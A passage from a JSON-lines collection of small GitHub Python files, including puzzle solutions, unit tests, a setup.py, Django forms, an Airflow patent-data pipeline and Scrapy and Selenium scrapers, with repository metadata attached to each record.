reservations})\n","repo_name":"alex-chou/hackathon","sub_path":"hackathon/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14415781560","text":"\ndef get_compartments_without_duplicates(line: str):\n center_point = len(line)//2\n first_compartment = line[0:center_point]\n second_compartment = line[center_point:-1]\n return \"\".join(set(first_compartment)), \"\".join(set(second_compartment))\n\n\ndef get_priority_from_character(character: str):\n ascii_value = ord(character[0])\n return ascii_value - 96 if ascii_value > 90 else ascii_value - 38\n\n\ndef solver(filename: str):\n f = open(filename, 'r')\n sum_of_priorities_single = 0\n sum_of_priorities_badge = 0\n shared_items = \"\"\n for line in f.readlines():\n first_compartment, second_compartment = get_compartments_without_duplicates(line)\n shared_character = [character for character in first_compartment if character in second_compartment]\n sum_of_priorities_single += get_priority_from_character(shared_character[0])\n rucksack_without_duplicates = \"\".join([first_compartment, second_compartment])\n shared_items = rucksack_without_duplicates if shared_items == \"\" else \"\".join([character for character in rucksack_without_duplicates if character in shared_items])\n if len(shared_items) == 1:\n sum_of_priorities_badge += get_priority_from_character(shared_items)\n shared_items = \"\"\n f.close()\n return sum_of_priorities_single, sum_of_priorities_badge\n\n\nif __name__ == \"__main__\":\n result_task_1, result_task_2 = solver(\"day3/test_data.txt\")\n print(\"Solution to task 1 is:\", result_task_1)\n print(\"Solution to task 2 is:\", result_task_2)\n\n ","repo_name":"HHolte/adventofcode2022","sub_path":"day3/implementation.py","file_name":"implementation.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70470765014","text":"def solution(n, lost, reserve):\n answer = n\n lostList = set(lost) - set(reserve)\n reserveList = set(reserve) - set(lost)\n \n for i in lostList:\n if i-1 in reserveList:\n reserveList.remove(i-1)\n elif i+1 in reserveList:\n reserveList.remove(i+1)\n else:\n answer -= 1\n \n return answer\n\nprint(solution(5,[2,4],[1,3,5])) \nprint(solution(5,[2,4],[3])) \nprint(solution(3,[3],[1])) \nprint(solution(10,[5,4,3,2,1],[3,1,2,5,4])) ","repo_name":"engks4619/CodingTestPractice","sub_path":"programmers/그리디/체육복.py","file_name":"체육복.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72736094613","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 11 13:19:52 2022\r\n\r\n@author: lfw25\r\n\"\"\"\r\n\r\nimport csv\r\nimport time\r\nimport math\r\nimport numpy as np\r\nimport pandas as pd\r\nimport scipy.stats as stat\r\n\r\nTEXTFILE = \"FitsLogbook.csv\"\r\nSUMMARYFILE = \"Summary.csv\"\r\nCLICKS_PER_LOCATION = 8\r\n\r\n\r\ndef analyseFits():\r\n global TEXTFILE\r\n global SUMMARYFILE\r\n global CLICKS_PER_LOCATION\r\n \r\n fitsData = np.ndarray.tolist(pd.DataFrame.to_numpy(pd.read_csv(TEXTFILE, delimiter = ',').dropna()))\r\n\r\n with open(SUMMARYFILE, 'a', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\r\n \r\n for subList in fitsData:\r\n A, w, t = subList[1], subList[2], subList[4]/(CLICKS_PER_LOCATION * 1000)\r\n ID = np.log2(A/w + 1)\r\n #sumList.append((A, w, round(ID, 2), round(t, 3)))\r\n writer.writerow([\r\n A,\r\n w,\r\n round(ID, 2),\r\n round(t, 3)\r\n ]) \r\n\r\n\r\nanalyseFits()","repo_name":"LFW25/Human-Computer-Interaction-COSC368-","sub_path":"L4_FittsLaw/AnalyzeFits.py","file_name":"AnalyzeFits.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14032612649","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 1 19:13:53 2013\n\n@author: chris\n\"\"\"\n\nimport unittest\n\nimport numpy as np\nfrom numpy.testing.utils import assert_array_equal\n\nfrom .. import utils\n\n\nclass TestFlatten(unittest.TestCase):\n\n def test_single(self):\n carray = np.ones((2, 3), dtype='c8')\n\n rarray = utils.nmr_flatten(carray)\n\n self.assertEqual((3, 4), tuple(rarray.shape))\n self.assertEqual(np.dtype('f4'), rarray.dtype)\n\n def test_double(self):\n carray = np.ones((2, 3), dtype='c16')\n\n rarray = utils.nmr_flatten(carray)\n\n self.assertEqual((3, 4), tuple(rarray.shape))\n self.assertEqual(np.dtype('f8'), rarray.dtype)\n\n def test_flatten(self):\n carray = np.ones((2, 3, 4), dtype='c8')\n\n rarray = utils.nmr_flatten(carray)\n\n self.assertEqual((12, 4), tuple(rarray.shape))\n\n def test_rebuild(self):\n realpart = np.random.rand(5, 4, 3)\n imagpart = np.random.rand(5, 4, 3)\n\n carray = realpart + 1j * imagpart\n\n rarray = utils.nmr_flatten(carray)\n carray2 = utils.nmr_rebuild(rarray)\n\n assert_array_equal(carray2, np.reshape(carray, (5, 12)))\n\n def test_rebuild_reshape(self):\n realpart = np.random.rand(5, 4, 3)\n imagpart = np.random.rand(5, 4, 3)\n\n carray = realpart + 1j * imagpart\n\n rarray = utils.nmr_flatten(carray)\n carray2 = utils.nmr_rebuild(rarray, (4, 3))\n\n assert_array_equal(carray2, carray)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"chatcannon/nmrpca","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"26557311831","text":"#!/usr/bin/env python3\nfrom setuptools import setup\nfrom setuptools.command.install import install\nimport subprocess\n\nclass InstallCommand(install):\n def run(self):\n # Exécute la méthode d'installation de la classe parente\n install.run(self)\n\n # Installez vos dépendances ici si elles ne sont pas déjà présentes\n dependencies = [\n \"numpy>=1.19.0\",\n \"scipy>=1.1.0\",\n \"qiskit>=0.45.0\",\n \"qiskit_nature==0.4.4\",\n \"qiskit_algorithms>=0.2.1\",\n \"qiskit_aer>=0.13.0\"\n ]\n for dependency in dependencies:\n try:\n __import__(dependency)\n except ImportError:\n subprocess.call(['pip', 'install', dependency])\n\n# Configuration du package\nsetup(\n name='SW',\n version='1.0.0',\n author='Quentin Marecat',\n author_email='quentin.marecat@gmail.com',\n install_requires=[\n \"numpy>=1.19.0\",\n \"scipy>=1.1.0\",\n \"qiskit>=0.45.0\",\n \"qiskit_nature==0.4.4\",\n \"qiskit_algorithms>=0.2.1\",\n \"qiskit_aer>=0.13.0\"\n ],\n cmdclass={'install': InstallCommand},\n)\n","repo_name":"Quentin-Marecat/SW","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27108885637","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nimport re\n\nXPATH = '/html/body/div[3]/section[2]/div/div/div[2]/div[2]/a/div[2]/table/tbody/tr/td[1]/div'\n\n\nclass MangaChapter:\n def __init__(self, url, current_chap_no, name):\n self.name = name\n self.url = url\n self.xpath = XPATH\n self.current_chap_no = current_chap_no\n self.current_chap_link = None\n self.new_chapter_no = 0\n\n def get_current_chapter_link(self, driver, chapter_number):\n element = driver.find_element(By.XPATH,\n f'//*[@id=\"ch-{chapter_number}00\"]')\n\n href_value = element.get_attribute(\"href\")\n return href_value\n\n def get_chapter_number(self):\n # headless mode aka no visible browser\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\")\n s = Service('/home/mitresh/Development-Selenium/chromedriver')\n driver = webdriver.Chrome(service=s, options=chrome_options)\n driver.get(self.url)\n\n chap_element = (driver.find_element(By.XPATH, self.xpath)).text\n match = re.search(r'\\d+', chap_element)\n\n if not match:\n print(\"XPATH error\")\n return None\n\n chapter_number = int(match.group())\n\n self.current_chap_link = self.get_current_chapter_link(driver,\n chapter_number)\n\n if chapter_number <= self.current_chap_no:\n print(f\"{self.name} manga has no new chapters\")\n return None\n\n self.new_chapter_no = chapter_number\n return chapter_number, self.current_chap_link\n\n driver.close()\n driver.quit()\n\n\nif __name__ == \"__main__\":\n url = 'https://www.viz.com/shonenjump/chapters/jujutsu-kaisen'\n current_chap_no = 22\n\n manga = MangaChapter(url, current_chap_no)\n chapter_info = manga.get_chapter_number()\n if chapter_info:\n chapter_number, chapter_link = chapter_info\n print(\"Chapter Number:\", chapter_number)\n print(\"Chapter Link:\", chapter_link)\n","repo_name":"batgit39/Day97-Manga-New-Chapter-Notifier","sub_path":"chapter_checker.py","file_name":"chapter_checker.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18940111460","text":"from django import forms\n\n\nclass NewDocumentForm(forms.Form):\n \"\"\"**Clase encargada de generar de forma dinámica el formulario\n que permite cargar nuevos documentos al corpus**\n\n *Atributos*\n\n * VARIANTS: Lista de variantes disponibles con el formato ``(KEY, VALUE)``\n :type: list\n * nombre: Objeto de django forms que renderea un elemento input de html\n :type: ``form.CharField``\n * csv: Objeto de django forms que renderea un elemento input de html\n :type: ``form.FileField``\n * pdf: Objeto de django forms que renderea un elemento input de html\n :type: ``form.FileField``\n \"\"\"\n nombre = forms.CharField(label='Nombre',\n widget=forms.TextInput(\n attrs={'class': 'form-control',\n 'placeholder': 'Nombre del documento'})\n )\n csv = forms.FileField(label='CSV')\n pdf = forms.FileField(label='PDF')\n\n\nclass AddDocumentDataForm(forms.Form):\n \"\"\"**Clase encargada de generar de forma dinámica el formulario que\n permite agregar nuevos renglones a un documento particular del\n corpus**\n\n *Atributos*\n\n * csv: Objeto de django forms que renderea un elemento input de html\n :type: ``form.FileField``\n \"\"\"\n csv = forms.FileField(label='CSV')\n\n\nclass DocumentEditForm(forms.Form):\n \"\"\"**Clase encargada de generar de forma dinámica el formulario que\n permite modificar el nombre y el PDF de un documento existente**\n\n *Atributos*\n\n * placeholder: Variable que modifica el placeholder del input para el nuevo\n nombre del documento\n :type: str\n * nombre: Objeto de django forms que renderea un elemento input de html\n :type: ``form.CharField``\n * pdf: Objeto de django forms que renderea un elemento input de html\n :type: ``form.FileField``\n \"\"\"\n placeholder = \"Ingresa el nuevo nombre del documento\"\n nombre = forms.CharField(label='Nombre',\n widget=forms.TextInput(\n attrs={'class': 'form-control',\n 'placeholder': placeholder}),\n required=False)\n pdf = forms.FileField(label=\"PDF\", required=False)\n","repo_name":"ElotlMX/Esquite","sub_path":"corpus_admin/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"es","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"9010374652","text":"import os\nfrom datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\n\nfrom lib.configuration import get_current_config, get_section, get_today_dict\nfrom lib.utilities import chain_operators\nfrom reporting_database_generator.database.validate_query import validate_and_execute\nfrom updater.callbacks import airflow_task_failure, airflow_task_success\nfrom updater.collect_supplemental_data.update_withdrawn import post_withdrawn, process_withdrawn\nfrom updater.create_databases.merge_in_new_data import begin_merging, begin_text_merging, post_merge_weekly_granted, \\\n post_merge_quarterly_granted\nfrom updater.create_databases.rename_db import check_patent_prod_integrity, qc_database_granted\nfrom updater.create_databases.upload_new import begin_database_setup, post_upload_granted, upload_current_data\nfrom updater.disambiguation.location_disambiguation.generate_locationID import run_location_disambiguation, \\\n run_location_disambiguation_tests\nfrom updater.disambiguation.location_disambiguation.osm_location_match import geocode_by_osm\n\nfrom updater.government_interest.NER import begin_NER_processing\nfrom updater.government_interest.NER_to_manual import process_ner_to_manual\nfrom updater.government_interest.post_manual import process_post_manual, qc_gi\nfrom updater.government_interest.simulate_manual import simulate_manual\nfrom updater.text_data_processor.text_table_parsing import begin_text_parsing, post_text_parsing_granted, \\\n post_text_merge_granted\nfrom updater.xml_to_csv.bulk_downloads import bulk_download\nfrom updater.xml_to_csv.parse_patents import patent_parser\nfrom updater.xml_to_csv.preprocess_xml import preprocess_xml\nfrom updater.xml_to_sql.patent_parser import patent_sql_parser\n\nimport pendulum\n\nlocal_tz = pendulum.timezone(\"America/New_York\")\n\n\nclass SQLTemplatedPythonOperator(PythonOperator):\n template_ext = ('.sql',)\n\n\nproject_home = os.environ['PACKAGE_HOME']\ntemplates_searchpath = \"{home}/resources\".format(home=project_home)\nconfig = get_current_config(type='granted_patent', supplemental_configs=None, **get_today_dict())\n\ndefault_args = {\n 'owner': 'smadhavan',\n 'depends_on_past': False,\n 'email': ['contact@patentsview.org'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 0,\n 'retry_delay': timedelta(minutes=5),\n 'concurrency': 4,\n 'queue': 'data_collector',\n # 'pool': 'backfill',\n # 'priority_weight': 10,\n # 'end_date': datetime(2016, 1, 1),\n\n}\ngranted_patent_parser = DAG(\n dag_id='granted_patent_updater',\n default_args=default_args,\n description='Download and process granted patent data and corresponding classifications data',\n start_date=datetime(2021, 7, 1, hour=5, minute=0, second=0, tzinfo=local_tz),\n schedule_interval=timedelta(weeks=1), catchup=True,\n template_searchpath=templates_searchpath,\n)\noperator_settings = {\n 'dag': granted_patent_parser,\n 'on_success_callback': airflow_task_success,\n 'on_failure_callback': airflow_task_failure,\n 'on_retry_callback': airflow_task_failure\n}\noperator_sequence_groups = {}\n# ##### Start Instance #####\n# instance_starter = PythonOperator(task_id='start_data_collector', python_callable=start_data_collector_instance,\n# **operator_settings)\n###### Download & Parse #######\ndownload_xml_operator = PythonOperator(task_id='download_xml', python_callable=bulk_download,\n **operator_settings)\nupload_setup_operator = PythonOperator(task_id='upload_database_setup', python_callable=begin_database_setup,\n **operator_settings)\n\nprocess_xml_operator = PythonOperator(task_id='process_xml',\n python_callable=preprocess_xml,\n **operator_settings, pool='memory_intensive_pool')\n\nparse_xml_operator = PythonOperator(task_id='parse_xml',\n python_callable=patent_parser,\n **operator_settings, pool='high_memory_pool')\n\n#### Database Load ####\nqc_temp_database_operator = PythonOperator(task_id='qc_upload_database_setup',\n python_callable=qc_database_granted,\n **operator_settings)\n\nupload_new_operator = PythonOperator(task_id='upload_current', python_callable=upload_current_data,\n **operator_settings\n )\nupload_trigger_operator = SQLTemplatedPythonOperator(\n task_id='create_uuid_triggers',\n provide_context=True,\n python_callable=validate_and_execute,\n op_kwargs={\n 'filename': 'granted_patent_database',\n \"schema_only\": False,\n \"section\": get_section('granted_patent_updater', 'fix_patent_ids-upload'),\n\n },\n dag=granted_patent_parser,\n templates_dict={\n 'source_sql': 'granted_patent_database.sql'\n },\n templates_exts=['.sql'],\n params={\n 'database': 'upload_',\n 'add_suffix': True\n }\n)\npatent_sql_operator = PythonOperator(task_id='parse_xml_to_sql', python_callable=patent_sql_parser,\n **operator_settings\n )\nqc_upload_operator = PythonOperator(task_id='qc_upload_new', python_callable=post_upload_granted,\n **operator_settings\n )\n### new OSM ElasticSearch geocoding\nOSM_geocode_operator = PythonOperator(task_id='geocode_rawlocations', python_callable=geocode_by_osm,\n **operator_settings\n )\n\n### Location_ID generation\nloc_disambiguation = PythonOperator(task_id='loc_disambiguation', python_callable=run_location_disambiguation, op_kwargs={'dbtype': 'granted_patent'},\n **operator_settings)\n\nqc_loc_disambiguation = PythonOperator(task_id='qc_loc_disambiguation'\n , python_callable=run_location_disambiguation_tests\n , op_kwargs={'dbtype': 'granted_patent'}\n , **operator_settings)\n\n### GI Processing\ngi_NER = PythonOperator(task_id='gi_NER', python_callable=begin_NER_processing,\n **operator_settings)\ngi_postprocess_NER = PythonOperator(task_id='postprocess_NER', python_callable=process_ner_to_manual,\n **operator_settings)\nmanual_simulation_operator = PythonOperator(task_id='simulate_manual_task', python_callable=simulate_manual,\n **operator_settings)\n\npost_manual_operator = PythonOperator(task_id='post_manual', python_callable=process_post_manual,\n **operator_settings)\ngi_qc_operator = PythonOperator(task_id='GI_QC', python_callable=qc_gi,\n **operator_settings)\n\n### Long Text FIelds Parsing\ntable_creation_operator = SQLTemplatedPythonOperator(\n task_id='create_text_yearly_tables',\n provide_context=True,\n python_callable=validate_and_execute,\n dag=granted_patent_parser,\n op_kwargs={\n 'filename': 'text_tables',\n \"schema_only\": False,\n \"section\": get_section('granted_patent_updater', 'fix_patent_ids-upload')\n },\n templates_dict={\n 'source_sql': 'text_tables.sql'\n },\n templates_exts=['.sql'],\n params={\n 'database': 'patent_text',\n 'add_suffix': False\n }\n)\nupload_table_creation_operator = SQLTemplatedPythonOperator(\n task_id='create_text_yearly_tables-upload',\n provide_context=True,\n python_callable=validate_and_execute,\n op_kwargs={\n 'filename': 'text_tables',\n \"schema_only\": False,\n \"section\": get_section('granted_patent_updater', 'fix_patent_ids-upload'),\n\n },\n dag=granted_patent_parser,\n templates_dict={\n 'source_sql': 'text_tables.sql'\n },\n templates_exts=['.sql'],\n params={\n 'database': 'upload_',\n 'add_suffix': True\n }\n)\n\n# trigger_creation_operator = BashOperator(task_id='create_text_triggers',\n# bash_command=get_text_table_load_command( project_home),\n# on_success_callback=airflow_task_success,\n# on_failure_callback=airflow_task_failure)\n# trigger_creation_operator.set_upstream(table_creation_operator)\n\nparse_text_data_operator = PythonOperator(task_id='parse_text_data',\n python_callable=begin_text_parsing,\n **operator_settings)\n\npatent_id_fix_operator = SQLTemplatedPythonOperator(\n task_id='fix_patent_ids-upload',\n provide_context=True,\n python_callable=validate_and_execute,\n dag=granted_patent_parser,\n op_kwargs={\n 'filename': 'patent_id_fix_text',\n \"schema_only\": False,\n \"section\": get_section('granted_patent_updater', 'fix_patent_ids-upload')\n },\n templates_dict={\n 'source_sql': 'patent_id_fix_text.sql'\n },\n templates_exts=['.sql'],\n params={\n 'database': 'upload_',\n 'add_suffix': True\n }\n)\n\nqc_parse_text_operator = PythonOperator(task_id='qc_parse_text_data',\n python_callable=post_text_parsing_granted,\n **operator_settings)\n\n#### merge in newly parsed data\nintegrity_check_operator = PythonOperator(task_id='check_prod_integrity',\n python_callable=check_patent_prod_integrity,\n **operator_settings\n )\n\nmerge_new_operator = PythonOperator(task_id='merge_db',\n python_callable=begin_merging,\n **operator_settings\n )\n\nqc_merge_operator = PythonOperator(task_id='qc_merge_db',\n python_callable=post_merge_weekly_granted,\n **operator_settings\n )\n\n## Merge Text Data\nmerge_text_operator = PythonOperator(task_id='merge_text_db',\n python_callable=begin_text_merging,\n **operator_settings\n )\n\nqc_text_merge_operator = PythonOperator(task_id='qc_merge_text_db',\n python_callable=post_text_merge_granted,\n **operator_settings\n )\n\n## Withdrawn Patents\nwithdrawn_operator = PythonOperator(task_id='withdrawn_processor', python_callable=process_withdrawn,\n **operator_settings)\n\nqc_withdrawn_operator = PythonOperator(task_id='qc_withdrawn_processor', python_callable=post_withdrawn,\n **operator_settings)\n\noperator_sequence_groups['xml_sequence'] = [download_xml_operator, process_xml_operator,\n parse_xml_operator, upload_new_operator,\n upload_trigger_operator, patent_sql_operator,\n patent_id_fix_operator, qc_upload_operator, OSM_geocode_operator,\n loc_disambiguation, qc_loc_disambiguation, gi_NER,\n gi_postprocess_NER, manual_simulation_operator, post_manual_operator,\n gi_qc_operator, withdrawn_operator, qc_withdrawn_operator,\n merge_new_operator]\n\noperator_sequence_groups['text_sequence'] = [upload_setup_operator, qc_temp_database_operator,\n upload_table_creation_operator, parse_text_data_operator,\n patent_id_fix_operator, qc_parse_text_operator,\n table_creation_operator, merge_text_operator]\n\noperator_sequence_groups['xml_text_cross_dependency'] = [download_xml_operator, parse_text_data_operator]\noperator_sequence_groups['xml_preprare_dependency'] = [qc_temp_database_operator, upload_new_operator]\noperator_sequence_groups['merge_prepare_xml_dependency'] = [integrity_check_operator, merge_new_operator]\noperator_sequence_groups['merge_prepare_text_dependency'] = [integrity_check_operator, merge_text_operator]\nfor dependency_group in operator_sequence_groups:\n dependency_sequence = operator_sequence_groups[dependency_group]\n chain_operators(dependency_sequence)\n\nqc_merge_operator.set_upstream(merge_new_operator)\nqc_text_merge_operator.set_upstream(merge_text_operator)\n","repo_name":"PatentsView/PatentsView-DB","sub_path":"airflow/dags/granted_patent_parser/patentsview_data_updater.py","file_name":"patentsview_data_updater.py","file_ext":"py","file_size_in_byte":12994,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"67"} +{"seq_id":"22599921089","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass GlassesSpider(scrapy.Spider):\n name = 'glasses'\n allowed_domains = ['www.glassesshop.com']\n start_urls = ['https://www.glassesshop.com/bestsellers/']\n\n def parse(self, response):\n for item in response.xpath('//div[@class=\"col-12 pb-5 mb-lg-3 col-lg-4 product-list-row text-center product-list-item\"]'):\n # product url\n url = item.xpath('./div[@class=\"product-img-outer\"]/a[1]/@href').get()\n # product image link\n image_link = item.xpath('./div[@class=\"product-img-outer\"]/a/img/@data-src').get()\n # product name\n name = item.xpath('./div[@class=\"product-img-outer\"]/a[1]/@title').get()\n # product price\n price = item.xpath('.//div[@class=\"p-price\"]/div/span/text()').get()\n\n yield {\n 'url': url,\n 'image_link': image_link,\n 'name': name,\n 'price': price\n }\n\n next_page = response.xpath('//a[@rel=\"next\"]/@href').get()\n\n if next_page:\n yield scrapy.Request(url=next_page, callback=self.parse, dont_filter=True) \n ","repo_name":"Han1s/Udemy--modern-web-scraping","sub_path":"6_multiple_pages/glasses_exercise/glasses_exercise/spiders/glasses.py","file_name":"glasses.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43203534859","text":"from random import sample\n\nGRID_SIZE = 6\n\nchoices = [i for i in range(GRID_SIZE**2)]\n\n\ndef distance(point1, point2):\n return (point1[0] - point2[0])**2 + (point1[1] - point2[1])**2\n\n\nfor k in range(1000000):\n towns = sample(choices, GRID_SIZE)\n points = [(i // GRID_SIZE, i % GRID_SIZE) for i in towns]\n distances = set()\n isValid = True\n for i in range(GRID_SIZE):\n for j in range(i + 1, GRID_SIZE):\n temp = distance(points[i], points[j])**0.5\n isValid = False if temp in distances else True\n distances.add(temp)\n\n if isValid:\n print(points)\n break\n","repo_name":"Hari2019041/Fun-Scripts","sub_path":"Puzzles/unique_distancing_problem.py","file_name":"unique_distancing_problem.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10200742553","text":"\n# formating phone numbers in specified order\n# here c[-10:-5] will produce number of char from right to left of a given string ( - symbol always count the char from right to left)\n\ndef wrapper(f):\n def fun(l):\n f(\"+91 \" + c[-10:-5] + \" \" + c[-5:] for c in l)\n #pat = re.compile(r'(0|91|\\+91)?(\\d{5})(\\d{5})') # this is using regex\n # give it standard prefix and copy the groups\n #l = [re.sub(pat, r\"+91 \\2 \\3\", x) for x in s] # this is using regex\n\n return fun\n\n@wrapper\ndef sort_phone(l):\n print(*sorted(l), sep='\\n')\n\nif __name__ == '__main__':\n l = [input() for _ in range(int(input()))]\n sort_phone(l)\n\n\n# another exapmle of working with decorators\nimport operator\n# My solution has an error\ndef person_lister(f):\n def inner(people):\n l = people\n lst = []\n for i in range(len(l)):\n temp = l[i]\n r = []\n r.append(temp[0])\n r.append(temp[1])\n r.append(int(temp[2]))\n r.append(temp[3])\n lst.append(r)\n lst.sort(key=operator.itemgetter(2))\n #res = sorted(people, key=lambda x: int(x[2]))\n #return f(l)\n return map(f, sorted(people, key=lambda x: int(x[2]))) # this is short solution\n return inner\n\n@person_lister\ndef name_format(person):\n return (\"Mr. \" if person[3] == \"M\" else \"Ms. \") + person[0] + \" \" + person[1]\n\nif __name__ == '__main__':\n people = [input().split() for i in range(int(input()))]\n print(*name_format(people), sep='\\n')\n\n# input\n#3\n#s h 20 M\n#f g 21 F\n#t y 15 M","repo_name":"sivatoms/PyReddy","sub_path":"DecoratorsPhoneNumberFormat.py","file_name":"DecoratorsPhoneNumberFormat.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27354458285","text":"from datetime import datetime\nnow = datetime.now()\nmaiores = 0\nmenores = 0\nfor num in range(1, 6):\n anoNas = int(input('Ano de nascimento: '))\n if anoNas - now.year >= 18:\n maiores += 1\n else:\n menores += 1\n\nprint(f'Maiores = {maiores}')\nprint(f'Menores = {menores}')","repo_name":"ibrahimGuilherme/Exercicio_Guilherme","sub_path":"exercicio41.py","file_name":"exercicio41.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4964611963","text":"import streamlit as st\nfrom pydub import AudioSegment\nimport speech_recognition as sr\nimport io\nfrom docx import Document\nimport os\n\n\ndef mp3_to_text(mp3_file):\n # Carregar o arquivo MP3\n audio = AudioSegment.from_file(mp3_file, format=\"mp3\")\n\n # Converter o áudio para WAV\n wav_data = io.BytesIO()\n audio.export(wav_data, format=\"wav\")\n wav_data.seek(0)\n\n # Transcrição do áudio WAV\n r = sr.Recognizer()\n with sr.AudioFile(wav_data) as source:\n audio_text = r.record(source)\n\n return r.recognize_google(audio_text, language='pt-BR')\n\ndef gerar_docx(texto_transcrito):\n document = Document()\n paragraph = document.add_paragraph(texto_transcrito)\n document.save('transcricao.docx')\n\n# Configurações da página do Streamlit\nst.title(\"Transcrição de Áudio para DOCX\")\nst.write(\"Faça o upload de um arquivo MP3 para transcrição\")\n\n# Upload do arquivo MP3\naudio_file = st.file_uploader(\"Selecione o arquivo MP3\", type=[\"mp3\"])\n\nif audio_file is not None:\n # Transcrever o áudio e exibir o texto transcrito\n st.write(\"Transcrevendo o áudio...\")\n texto_transcrito = mp3_to_text(audio_file)\n\n # Gerar o arquivo DOCX\n st.write(\"Gerando o arquivo DOCX...\")\n gerar_docx(texto_transcrito)\n\n # Download do arquivo DOCX\n st.download_button(\"Clique aqui para baixar o arquivo DOCX\", data=open('transcricao.docx', 'rb'), file_name=\"transcricao.docx\")\n","repo_name":"Patotricks15/audio-to-text","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37606540558","text":"'''The xpath order is very important here because we are appending all of the results\nfor each xpath, rather than taking the first one that returns something other than null.\nIf the order is changed specifically for app-group we will have to modify our unique test.'''\nMETA_CONTENT = {\n 'xml': {\n 'fulltext': {\n 'xpath': ['//body',\n '//section[@type=\"body\"]',\n '//journalarticle-body',\n '//bdy',\n '//app-group',\n '//section[not(@type=\"acknowledgments\" or @type=\"dataAccess\" or @type=\"dataAvailability\" or @type=\"superSection\")]'\n ],\n 'type': 'string',\n 'info': '',\n },\n 'acknowledgements': {\n 'xpath': ['//ack',\n '//section[@type=\"acknowledgments\"]',\n '//subsection[@type=\"acknowledgement\" '\n 'or @type=\"acknowledgment\"]'\n ],\n 'type': 'string',\n 'info': '',\n },\n 'dataset': {\n 'xpath': ['//named-content[@content-type=\"dataset\"]'],\n 'type': 'list',\n 'info': 'xlink:href',\n },\n 'facility': {\n 'xpath': ['//named-content[@content-type=\"facility\"]'],\n 'type': 'list',\n 'info': 'xlink:href',\n }\n },\n 'teixml': {\n 'fulltext': {\n 'xpath': ['//body',\n ],\n 'type': 'string',\n 'info': '',\n },\n 'acknowledgements': {\n 'xpath': ['//div[@type=\"acknowledgement\"]',\n ],\n 'type': 'string',\n 'info': '',\n },\n },\n 'xmlelsevier': {\n 'fulltext': {\n 'xpath': ['//body',\n '//raw-text',\n '//appendices',\n ],\n 'type': 'string',\n 'info': '',\n },\n 'acknowledgements': {\n 'xpath': ['//acknowledgment',\n '//ack',\n '//section[@type=\"acknowledgments\"]',\n '//subsection[@type=\"acknowledgement\" '\n 'or @type=\"acknowledgment\"]',\n '//*[local-name()=\"acknowledgment\"]'\n ],\n 'type': 'string',\n 'info': '',\n },\n 'dataset': {\n 'xpath': ['//named-content[@content-type=\"dataset\"]'],\n 'type': 'list',\n 'info': 'xlink:href',\n }\n },\n 'html': {\n 'introduction': [\n '//h2[contains(.,\"ntroduction\")]',\n '//h3[contains(.,\"ntroduction\")]',\n '//p[contains(.,\"Abstract\")]',\n ],\n 'references': [\n '//h2[contains(.,\"References\")]'\n ],\n 'table': [\n '//table'\n ],\n 'table_links': [\n '//a[contains(@href, \"TABLE_NAME\")]'\n ],\n 'head': [\n '//head'\n ]\n },\n 'txt': {'fulltext': ['']},\n 'ocr': {'fulltext': ['']},\n 'http': {'fulltext': ['']},\n 'pdf': {'fulltext': ['']},\n 'pdf-grobid': {'grobid_fulltext': ['']},\n}\n","repo_name":"adsabs/ADSfulltext","sub_path":"adsft/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"35174821051","text":"from ctypes import windll, Structure, c_long, byref\nimport time\nimport json\n\nclass POINT(Structure):\n _fields_ = [(\"x\", c_long), (\"y\", c_long)]\n\n\n\ndef queryMousePosition():\n pt = POINT()\n windll.user32.GetCursorPos(byref(pt))\n return { \"x\": pt.x, \"y\": pt.y}\n\niterations = 20\nfrequency = 30\nseconds = 1\n\ndata = []\niter_count = 0\nwhile True:\n print(\"Starting in 2 seconds...\")\n 